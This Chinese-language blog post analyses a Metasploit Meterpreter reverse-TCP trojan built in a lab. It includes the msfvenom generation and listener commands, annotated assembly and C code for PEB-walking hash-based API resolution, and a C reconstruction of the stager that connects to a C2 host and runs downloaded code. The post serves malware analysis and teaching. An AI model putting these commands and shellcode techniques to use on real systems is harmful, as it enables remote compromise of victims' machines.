meterpreter木马原理分析

发布时间:2023年12月27日

本文主要分析meterpreter木马的原理,原理比较简单:首先会分配一段缓冲区,加载一段shellcode,在shellcode中调用win socket API与服务器端进行通信,下载一个反射型dll,在内存中加载,使用peb的方式来获取系统的api地址,C2的地址是以整数的方式存储在代码中。

环境

  • kali 192.168.213.130 用于生成木马,搭建c2服务器

  • windows x64 192.168.213.129 模拟被控端,进行样本动静态分析

生成meterpreter木马

首先使用的kali环境生成一个meterpreter马。进入kali系统,使用如下命令生成一个windows平台的木马。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.213.130 lport=8888 -f exe -o muma.exe

使用msf开启监听。

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.213.130
set lport 8888

样本的基本信息

将木马文件拷贝到windows系统中,开始分析。样本的基本信息如下 。

FileSize: 72.0 KB (73,802 字节)
Verified:    Unsigned
Link date:    13:03 2009/4/18
Publisher:    n/a
Company:    Apache Software Foundation
Description:    ApacheBench command line utility
Product:    Apache HTTP Server
Prod version:    2.2.14
File version:    2.2.14
MachineType:    32-bit
MD5:    E484F28D7030ED8E9C6B530F8100C4AC
SHA1:    6CBE331EB21EFC8D3D2C4CE4CCE762110EC19A91
PDB path: C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb

如何通过PEB来获取API地址

这个样本中几乎所有的api地址都是通过PEB获取的,这是shellcode的通用做法,下面介绍一个如何通过PEB来获取API地址,介绍其中用到的几个关键的数据结构。

TEB

在程序运行过程中,fs寄存器存储TEB(线程环境块)的指针,TEB的结构可参考Vergilius Project | _TEB32,其中字段ProcessEnvironmentBlock(进程环境块)表示PEB的地址,偏移为0x30。所以通过下面的指令可以获取PEB的地址。

mov     edx, fs:[30h]

PEB

PEB(Process?Environment?Block,进程环境块)是存放进程信息的结构体,很多恶意代码都是通过PEB来获取系统api,下面以win7 32位系统举例,来说明如何通过PEB来获取API。

PEB的结构可参考Vergilius Project | _PEB。有几个比较重要的字段如下所示,Ldr用于存储程序所有的模块信息,ProcessParameters用于存储程序的启动信息,如命令行、路径、目录等。下面重点讲Ldr字段。

struct _PEB
{
    ...
    VOID* ImageBaseAddress;   //0x8 程序在内存中基址
    struct _PEB_LDR_DATA* Ldr;   //0xc 程序加载的模块的信息
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;  //0x10 参数信息
    ...   
}

PEB_LDR_DATA

_PEB_LDR_DATA结构体可参考Vergilius Project | _PEB_LDR_DATA。这个结构比较小,如下所示,里面有3个双向链表,保存着程序加载的模块信息,通过其中任何一个就可以遍历程序当前加载的所有模块。

在windows系统中通常使用_LIST_ENTRY结构来构造双向链表,将其嵌入自定义的结构体中即可。

//0x30 bytes (sizeof)
struct _PEB_LDR_DATA
{
    ULONG Length;//0x0
    UCHAR Initialized;//0x4
    VOID* SsHandle;//0x8
    struct _LIST_ENTRY InLoadOrderModuleList;//0xc 模块加载顺序
    struct _LIST_ENTRY InMemoryOrderModuleList;//0x14 模块在内存中的顺序
    struct _LIST_ENTRY InInitializationOrderModuleList;//0x1c 模块初始化装载顺序
    VOID* EntryInProgress;//0x24
    UCHAR ShutdownInProgress;//0x28
    VOID* ShutdownThreadId;//0x2c
};

LDR_DATA_TABLE_ENTRY

每个模块信息保存在结构体LDR_DATA_TABLE_ENTRY中,可参考Vergilius Project | _LDR_DATA_TABLE_ENTRY。下面是其中重要的字段。

//0x78 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
    struct _LIST_ENTRY InLoadOrderLinks;//0x0 加载顺序
    struct _LIST_ENTRY InMemoryOrderLinks;//0x8 在内存中顺序
    struct _LIST_ENTRY InInitializationOrderLinks;//0x10 模块初始化装载顺序
    VOID* DllBase;//0x18 模块在内存中基址
    VOID* EntryPoint;//0x1c 入口点
    ULONG SizeOfImage;//0x20 内存镜像的大小
    struct _UNICODE_STRING FullDllName;//0x24 模块的全名
    struct _UNICODE_STRING BaseDllName;//0x2c dll的名称
    ...
 }

一般恶意代码会遍历当前程序加载的所有模块,通过BaseDllName找到ntdll模块,然后遍历 其导出表,找到VirtualAlloc、LoadLibrary和GetProcAddress等函数的地址,进而执行后续的恶意行为。

在shellcode中的一般会通过计算BaseDllName+FuncName的hash值来寻找特定的api。不同的恶意代码计算hash的方法会有所不同。

在kali生成的meterpreter木马中,使用下面的方式来调用api,这个函数的rva为0x00407821,这里暂且将其标记为sub_00407821,其调用方式为sub_00407821(API_Hash,arg1,arg2,…),首先通过给定的hash值来找到指定的api地址,然后将调用这个api,sub_00407821的汇编代码如下。

        pusha 
        mov     ebp, esp
        xor     edx, edx
        mov     edx, fs:[edx+30h] ;获取PEB的地址
        mov     edx, [edx+0Ch] ;struct _PEB_LDR_DATA* Ldr
        mov     edx, [edx+14h] ;为LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks的地址

loc_407883:
        mov     esi, [edx+28h] ;LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
        movzx   ecx, word ptr [edx+26h];LDR_DATA_TABLE_ENTRY.BaseDllName.MaximumLength
        xor     edi, edi; edi表示hash的结果

loc_407898:  ;遍历BaseDllName每个字符,计算BaseDllName的hash
        xor     eax, eax
        lodsb
        cmp     al, 61h ;若当前字符小于'a'
        jl      short loc_4078DB
        sub     al, 20h  ;将小写字母转化为大写


loc_4078DB:
        ror     edi, 0Dh ;循环右移13位
        add     edi, eax ;hash += eax
        dec     ecx
        jnz     loc_407898


        push    edx ;保存LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks的地址 
        mov     edx, [edx+10h] ;LDR_DATA_TABLE_ENTRY.DllBase dll的基址
        push    edi ;保存BaseDllName的hash
        mov     eax, [edx+3Ch];处理PE头 
        add     eax, edx ; eax为NtHeader = DllBase+DosHeader.e_lfanew
        mov     eax, [eax+78h] ;Export_RVA 导出表的rva
        test    eax, eax
        jz      loc_407B4B ;若获取导出表失败的话,跳转到loc_407B4B
        add     eax, edx ; 导出表的va  指向 IMAGE_EXPORT_DIRECTORY 结构
        mov     ecx, [eax+18h] ;ecx = IMAGE_EXPORT_DIRECTORY.NumberOfNames 以函数名导出的函数个数
        push    eax ;保存IMAGE_EXPORT_DIRECTORY 结构的地址
        mov     ebx, [eax+20h] ;MAGE_EXPORT_DIRECTORY.AddressOfNames 函数名称地址表的RVA
        add     ebx, edx ;ebx = 函数名称地址表的VA

loc_407991:
        test    ecx, ecx
        jz      loc_407B39 ;若当前dll的导出表已经遍历完了,也没有找到指定的api,跳转到loc_407B39

        xor     edi, edi ;edi用于保存函数名的hash
        dec     ecx
        mov     esi, [ebx+ecx*4] ;从后向前遍历函数名,函数的rva
        add     esi, edx; 函数名的va

loc_4079E6: ;遍历函数名的每个字符,计算函数名的hash
        xor     eax, eax
        lodsb
        ror     edi, 0Dh ;循环右移13位
        add     edi, eax
        cmp     al, ah
        jnz     loc_4079E6

        add     edi, [ebp-8];加上DllBaseName的hash 前面有两次push操作
        cmp     edi, [ebp+24h] ;与第一个参数比较,因为之前有pusha指令,将8个通用寄存器入栈,所有要加 0x24h=8*4(8个通用寄存器)+1*4(返回地址)
        jnz     loc_407991

        pop     eax ;与给定的hash值一致的话,取出IMAGE_EXPORT_DIRECTORY结构的地址
        mov     ebx, [eax+24h];IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals 函数序号地址表的rva
        add     ebx, edx ;AddressOfNameOrdinals的va
        mov     cx, [ebx+ecx*2];取出当前函数的序号
        mov     ebx, [eax+1Ch];IMAGE_EXPORT_DIRECTORY.AddressOfFunctions 导出函数地址表的rva
        add     ebx, edx ;AddressOfFunctions的va
        mov     eax, [ebx+ecx*4] ;当前函数的地址rva
        add     eax, edx ;当前函数在进程空间的地址
        mov     [esp+24h], eax ;将函数的地址给esp+36 给pusha之前的eax
        pop     ebx
        pop     ebx
        popa ;恢复原来的栈
        pop     ecx ;取出函数的返回地址
        pop     edx ;取出第一个参数
        push    ecx ;将函数的返回地址入栈
        jmp     eax ;调用函数

loc_407B39:
        pop     eax ;取出IMAGE_EXPORT_DIRECTORY 结构的地址
loc_407B4B:
        pop     edi ;取出DllBaseName的hash
        pop     edx ;取出LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks的地址
        mov     edx, [edx];跳转到下一个LDR_DATA_TABLE_ENTRY edx = LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink
        jmp     loc_407883 ;处理下一个dll

我们可以C语言来实现上面的逻辑,找到api和hash的对应表,代码如下。

#pragma once
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
//计算哈希值
#define ROTR32(value, shift)    (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

//重新定义PEB结构。winternl.h中的结构定义是不完整的。
typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOL Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;



#define ROTR32(value, shift)    (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))


HMODULE GetProcAddressHash()
{
    PPEB PebAddress;
    PMY_PEB_LDR_DATA pLdr;
    PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
    PVOID pModuleBase;
    PIMAGE_NT_HEADERS pNTHeader;
    DWORD dwExportDirRVA;
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    PLIST_ENTRY pNextModule;
    DWORD dwNumFunctions;
    USHORT usOrdinalTableIndex;
    PDWORD pdwFunctionNameBase;
    PCSTR pFunctionName;
    UNICODE_STRING BaseDllName;
    DWORD dwModuleHash;
    DWORD dwFunctionHash;
    PCSTR pTempChar;
    DWORD i;

#if defined(_WIN64)
    PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
    PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
    __emit(0x00006B1B);
#else
    PebAddress = (PPEB)__readfsdword(0x30);
#endif

    pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
    pNextModule = pLdr->InLoadOrderModuleList.Flink;
    pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;

    while (pDataTableEntry->DllBase != NULL)
    {
        dwModuleHash = 0;
        pModuleBase = pDataTableEntry->DllBase;
        BaseDllName = pDataTableEntry->BaseDllName;
        pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
        dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

        //获取下一个模块地址
        pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;

        // 如果当前模块不导出任何函数,则转到下一个模块 加载模块入口
        if (dwExportDirRVA == 0)
        {
            continue;
        }

        //计算模块哈希值

        for (i = 0; i < BaseDllName.MaximumLength; i++)
        {
            pTempChar = ((PCSTR)BaseDllName.Buffer + i);

            dwModuleHash = ROTR32(dwModuleHash, 13);

            if (*pTempChar >= 0x61)
            {
                dwModuleHash += *pTempChar - 0x20;
            }
            else
            {
                dwModuleHash += *pTempChar;
            }
        }

        pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);

        dwNumFunctions = pExportDir->NumberOfNames;
        pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);

        for (i = 0; i < dwNumFunctions; i++)
        {
            dwFunctionHash = 0;
            pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
            pdwFunctionNameBase++;

            pTempChar = pFunctionName;

            do
            {
                dwFunctionHash = ROTR32(dwFunctionHash, 13);
                dwFunctionHash += *pTempChar;
                pTempChar++;
            } while (*(pTempChar - 1) != 0);

            dwFunctionHash += dwModuleHash;

            wprintf(L"%ws!", BaseDllName.Buffer);
            printf("%s: 0x%.8x\n", pFunctionName, dwFunctionHash);



            //if (dwFunctionHash == dwModuleFunctionHash)
            //{
            //    usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
            //    return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
            //}
        }
    }

    return NULL;
}


int main()
{
    LoadLibraryA("user32.dll");
    HMODULE h = GetProcAddressHash();
    return 0;
}

导出的hash表如下所示,有了这张表,就可以更好的对样本进行分析了,如果想写shellcode也需要构造这张表。

样本分析

整个木马执行分为三个阶段。

第一阶段

样本的入口是一堆花指令,不用管,一直执行到sub_407B9B。

.text:0040781C call sub_407B9B

进入sub_407B9B,调用了sub_00407821(0xE553A458,0x0,0x162,0x1000,0x40),通过比对api_hash表,发现0xE553A458对应的api为VirtualAlloc,这里分配了一个0x162大小的可执行内存。

然后进入sub_407D75,进而进入sub_407C2D,在这个函数中将00407D7A处的0x162大小 的内容复制到新分配的内存中,这是一段shellcode(由于这个马是示例用的,没有加密和混淆)。

进入sub_407D10,跳转到新分配内存,开始执行这段shellcode。

将这段shellcode从内存中dump出来进行分析。

第二阶段 shellcode

这段shellcode的功能是下载一个反射型dll,跳转到dll头部执行。

使用IDA对其进行静态分析,将其首地址rebase为0x20000,这样方便与OD进行对照。

经分析,这段shellcode有三个主要的函数(我根据其功能进行了重命名),CallApiByHash_20006功能是通过hash来用于调用系统api(和上一阶段中的sub_00407821功能和原理一致),ExitProcess_20158的功能是调用ExitProcess(0)。

shellcode的入口直接进入sub_20095,这个函数执行下载执行payload的操作。

下面进入sub_20095。

首先调用LoadLibraryA(“ws2_32”)加载winsock库(通过比对api_hash表,很容易确定这里使用api)。

调用WSAStartup初始化winsocket库。

使用WSASocketA创建套接字,调用connect连接服务器端,使用栈来构造参数。connect函数尝试10次,若10次都失败的话,退出。

使用recv函数接收一个4字节的整数,这个是payload的长度,进而调用VirtualAlloc根据这个长度分配一段RWX属性的内存,用于接收后台发送过来的payload。注意下图中最下方的指令,这个push操作,使得当前函数ret后会跳转到payload处执行(非常巧妙)。

接着使用recv函数接收完整个payload,最后跳转到payload处执行(这个payload是一个反射型dll,可以从第一个字节处执行,加载自身,完成后续的功能)。

这一阶段可以用下面的C代码来表示 。

    WSADATA data;
    LoadLibraryA("ws2_32");
    WSAStartup(400,&data);
    DWORD xxx[4] = {0xB8220002,0x82D5A8C0,10,0};

    do 
    {
        int s =  WSASocketA(AF_INET,SOCK_STREAM,0,NULL,NULL,0);
        do 
        {
            if(connect(s,(sockaddr*)&xxx,16)==0){
                int payloadLen = 0;
                if(recv(s,(char*)&payloadLen,4,0)>0){
                    char* payloadBuf = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
                    char* t = payloadBuf;
                    int readLen = payloadLen;
                    do{
                        int recvLen = recv(s,t,readLen,0);
                        if(recvLen > 0){
                            t += recvLen;
                            readLen -= recvLen;
                        }else{
                            VirtualFree(payloadBuf,0,MEM_DECOMMIT);
                            closesocket(s);
                            break;
                        }

                        if (readLen == 0)
                        {
                            __asm{
                                jmp payloadBuf
                            }
                        }
                    }while(readLen > 0);

                }else{
                    closesocket(s);
                }
            }
        } while (xxx[2]--);
    } while (xxx[2]--);
    ExitProcess(0);

这一阶段使用的api和hash的对照表如下。

kernel32.dll!LoadLibraryA: 0x0726774c
ws2_32.dll!WSAStartup: 0x006b8029
ws2_32.dll!WSASocketA: 0xe0df0fea
ws2_32.dll!connect: 0x6174a599
ws2_32.dll!recv: 0x5fc8d902
kernel32.dll!VirtualAlloc: 0xe553a458
kernel32.dll!VirtualFree: 0x300f2f0b
ws2_32.dll!closesocket: 0x614d6e75
kernel32.dll!ExitProcess: 0x56a2b5f0

第三阶段 反射型dll

将第二次的payload dump下来分析可发现这是一个反射型dll,反射型dll既是一段shellcode也是一个合法的pe,可以从第一个字节开始执行。

首先以binary file模型使用ida打开这个样本。

将文件偏移转成va为1000511B。

使用dll32打开这个样本,会发现sub_1000511B是一个pe加载器,这个函数的分析可参考 一例cobalt Strike 反射式注入payload的分析_cobaltstrike_payload_encoded-CSDN博客

这个dll的功能是功能比较复杂,以后有机会再深究。

总结

meterpreter生成的木马原理总体比较简单,但是msfvenom有丰富的命令可以使用,可以加密混淆,可以将木马嵌入到正常的pe中,来逃避杀软的检测,本文只分析了一个最简单的示例样本。要想快速的获取的c2,只需要的connect函数设置断点,分析其第二个参数即可。

参考资料

文章来源:https://blog.csdn.net/a854596855/article/details/135243015
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。